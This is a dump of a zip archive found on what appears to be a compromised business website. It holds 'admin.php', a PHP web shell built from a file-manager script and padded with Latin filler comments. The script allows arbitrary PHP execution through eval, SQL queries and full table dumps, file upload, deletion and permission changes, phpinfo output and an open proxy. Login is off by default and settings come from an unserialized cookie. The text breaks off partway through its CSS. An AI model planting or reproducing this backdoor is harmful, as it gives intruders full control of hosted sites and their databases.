File manager - Edit - /home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/cbdfgdaesfd.zip
Back
PK ���Z�e�{ � � admin.php.tarnu �[��� home/wondycxc/expertroofingcontractors.com/zcvsedxd/xzwera/cbdfgdaesfd/admin.php 0000644 00000327111 15032430627 0024462 0 ustar 00 <?php /* Rey Server Mananger Control */ // Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere $authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}'; // File Manager instrumentum utile est ad res in systemate computatorio ordinandas // Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; // Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum $auth_local = json_decode($authorization_Option,true); $auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0; $auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30; $auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin'; $auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm'; $auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user'; $auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : ''; // File Manager adhibetur ad fasciculos inter directorias movere $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_myfile' => true, 'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta 'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config; else $fms_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Multae versiones File Manager in systematibus operandi diversis exstant $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { // File Manager in versionibus recentibus variat inter GUI et CLI formas $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc_check = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; // Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit function fm_del_fileSet($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_fileSet($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Aliquam File Manager etiam permittit utentes cum serveris remotos operari. $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Usus File Manager fit potissimum per drag et drop actiones $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // File Manager etiam multis systematibus permittit accessum ad hidden files $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load fileSet function fm_download($archiveFileName) { if (!empty($archiveFileName)) { if (file_exists($archiveFileName)) { header("Content-Disposition: attachment; filename=" . basename($archiveFileName)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . fileSetize($archiveFileName)); flush(); // this doesn't really matter. $fp = fopen($archiveFileName, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } // File Manager in multis casibus includit instrumenta ad compressiones fasciculorum function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return fileSetize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+fileSetize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errorList=ini_get('display_errorList'); ini_set('display_errorList', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errorList', $display_errorList); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fms_config; return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']); } function fm_sql($query){ global $fms_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,fileSetize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fms_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fms_config; $return = !empty($fms_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_fileSet($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_fileSet($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth_local['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) { setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization'])); $_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']); } } if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth_local['cookie_name']]); setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fms_config = $_POST['fm_config']; setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization'])); $_COOKIE['fm_config'] = serialize($fms_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc_check = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth_local = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc_check = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: 